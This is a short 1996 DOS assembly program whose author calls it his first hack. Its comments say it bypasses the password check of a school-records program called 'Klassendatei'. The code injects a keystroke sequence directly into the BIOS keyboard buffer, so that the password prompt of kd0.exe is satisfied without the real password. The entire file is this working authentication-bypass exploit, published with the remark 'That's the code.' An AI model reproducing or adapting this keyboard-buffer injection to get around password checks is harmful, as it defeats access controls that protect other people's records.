;
; kdhack.asm (c) 1996 by Benjamin Schweizer
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;
; My first hack:-)
;
; Back in 1996 I checked out a method to by-pass the password
; verification programm in the software "Klassendatei". Dropping the
; sequence (0x03, 0x76, 0x83) to the dos keyboard buffer and running
; kd0.exe opened the doors. That's the code.
;

SCODE           SEGMENT
                ASSUME          cs:SCODE   
PMAIN           PROC            NEAR
                mov             dx,                     00040h
                mov             ds,                     dx

                cli
                mov             ds:word ptr [0001ah],   0001Eh
                mov             ds:word ptr [0001ch],   00024h
                
                mov             ds:word ptr [0001eh],   00300h
                mov             ds:word ptr [00020h],   07600h
                mov             ds:word ptr [00022h],   08300h
                sti

                mov             ah,                     04ch
                int             21h
PMAIN           ENDP
SCODE           ENDS

END             PMAIN    

;
; eof.
;